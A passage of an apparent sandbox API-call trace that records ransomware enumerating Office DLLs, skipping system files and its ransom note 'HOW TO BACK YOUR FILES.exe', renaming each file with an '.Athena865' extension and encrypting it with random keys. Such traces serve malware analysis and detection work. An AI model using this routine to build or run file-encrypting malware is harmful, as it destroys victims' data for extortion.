Shared\\OFFICE14\\ACEWSS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=318368) returned 1 [0112.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.801] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.801] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4dea0, lpName=0x0) returned 0x154 [0112.802] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4dea0) returned 0x2d50000 [0112.819] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.819] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.819] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.820] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.823] CloseHandle (hObject=0x154) returned 1 [0112.823] CloseHandle (hObject=0x17c) returned 1 [0112.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.824] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0112.824] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.824] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.824] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".") returned 1 [0112.824] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="..") returned 1 [0112.824] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="windows") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="bootmgr") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="temp") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="pagefile.sys") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="boot") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="ids.txt") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="ntuser.dat") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="perflogs") returned -1 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="MSBuild") returned -1 [0112.825] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0112.825] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEXBE.DLL" | out: lpString1="ACEXBE.DLL") returned="ACEXBE.DLL" [0112.825] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0112.825] lstrlenW (lpString="Athena865") returned 9 [0112.825] lstrcmpiW (lpString1="CEXBE.DLL", lpString2="Athena865") returned 1 [0112.825] lstrlenW (lpString=".dll") returned 4 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".dll") returned 1 [0112.825] lstrlenW (lpString=".lnk") returned 4 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".lnk") returned 1 [0112.825] lstrlenW (lpString=".ini") returned 4 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".ini") returned 1 [0112.825] lstrlenW (lpString=".sys") returned 4 [0112.825] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".sys") returned 1 [0112.825] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0112.825] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.Athena865") returned 76 [0112.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.athena865"), dwFlags=0x1) returned 1 [0112.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.828] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=502168) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.828] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.829] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.829] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.829] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7aca0, lpName=0x0) returned 0x154 [0112.831] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7aca0) returned 0x2d50000 [0112.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.852] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.852] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.853] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.857] CloseHandle (hObject=0x154) returned 1 [0112.857] CloseHandle (hObject=0x17c) returned 1 [0112.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".") returned 1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="..") returned 1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="windows") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="bootmgr") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="temp") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="pagefile.sys") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="boot") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="ids.txt") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="ntuser.dat") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="perflogs") returned -1 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="MSBuild") returned -1 [0112.860] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0112.860] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ATLCONV.DLL" | out: lpString1="ATLCONV.DLL") returned="ATLCONV.DLL" [0112.860] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0112.860] lstrlenW (lpString="Athena865") returned 9 [0112.860] lstrcmpiW (lpString1="LCONV.DLL", lpString2="Athena865") returned 1 [0112.860] lstrlenW (lpString=".dll") returned 4 [0112.860] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".dll") returned 1 [0112.861] lstrlenW (lpString=".lnk") returned 4 [0112.861] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".lnk") returned 1 [0112.861] lstrlenW (lpString=".ini") returned 4 [0112.861] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".ini") returned 1 [0112.861] lstrlenW (lpString=".sys") returned 4 [0112.861] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".sys") returned 1 [0112.861] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0112.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.Athena865") returned 77 [0112.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.athena865"), dwFlags=0x1) returned 1 [0112.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.862] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=385368) returned 1 [0112.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.862] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.863] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.863] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.863] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e460, lpName=0x0) returned 0x154 [0112.865] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e460) returned 0x2d50000 [0112.878] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.878] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.878] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.879] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.882] CloseHandle (hObject=0x154) returned 1 [0112.882] CloseHandle (hObject=0x17c) returned 1 [0112.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.884] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2=".") returned 1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="..") returned 1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="windows") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="bootmgr") returned 1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="temp") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="pagefile.sys") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="boot") returned 1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="ids.txt") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="ntuser.dat") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="perflogs") returned -1 [0112.884] lstrcmpiW (lpString1="Csi.dll", lpString2="MSBuild") returned -1 [0112.884] lstrlenW (lpString="Csi.dll") returned 7 [0112.884] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Csi.dll" | out: lpString1="Csi.dll") returned="Csi.dll" [0112.885] lstrlenW (lpString="Csi.dll") returned 7 [0112.885] lstrlenW (lpString="Athena865") returned 9 [0112.885] lstrlenW (lpString=".dll") returned 4 [0112.885] lstrcmpiW (lpString1="Csi.dll", lpString2=".dll") returned 1 [0112.885] lstrlenW (lpString=".lnk") returned 4 [0112.885] lstrcmpiW (lpString1="Csi.dll", lpString2=".lnk") returned 1 [0112.885] lstrlenW (lpString=".ini") returned 4 [0112.885] lstrcmpiW (lpString1="Csi.dll", lpString2=".ini") returned 1 [0112.885] lstrlenW (lpString=".sys") returned 4 [0112.885] lstrcmpiW (lpString1="Csi.dll", lpString2=".sys") returned 1 [0112.885] lstrlenW (lpString="Csi.dll") returned 7 [0112.885] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.Athena865") returned 73 [0112.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.athena865"), dwFlags=0x1) returned 1 [0112.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.887] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072816) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.887] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.888] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.888] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.888] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d6ab0, lpName=0x0) returned 0x154 [0112.889] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xd6ab0) returned 0x2d50000 [0113.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.051] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.051] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.052] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0113.059] CloseHandle (hObject=0x154) returned 1 [0113.059] CloseHandle (hObject=0x17c) returned 1 [0113.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.067] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0113.067] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.067] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".") returned 1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="..") returned 1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="windows") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="bootmgr") returned 1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="temp") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="pagefile.sys") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="boot") returned 1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="ids.txt") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="ntuser.dat") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="perflogs") returned -1 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="MSBuild") returned -1 [0113.068] lstrlenW (lpString="CsiSoap.dll") returned 11 [0113.068] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CsiSoap.dll" | out: lpString1="CsiSoap.dll") returned="CsiSoap.dll" [0113.068] lstrlenW (lpString="CsiSoap.dll") returned 11 [0113.068] lstrlenW (lpString="Athena865") returned 9 [0113.068] lstrcmpiW (lpString1="iSoap.dll", lpString2="Athena865") returned 1 [0113.068] lstrlenW (lpString=".dll") returned 4 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".dll") returned 1 [0113.068] lstrlenW (lpString=".lnk") returned 4 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".lnk") returned 1 [0113.068] lstrlenW (lpString=".ini") returned 4 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".ini") returned 1 [0113.068] lstrlenW (lpString=".sys") returned 4 [0113.068] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".sys") returned 1 [0113.068] lstrlenW (lpString="CsiSoap.dll") returned 11 [0113.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.Athena865") returned 77 [0113.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.athena865"), dwFlags=0x1) returned 1 [0113.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft 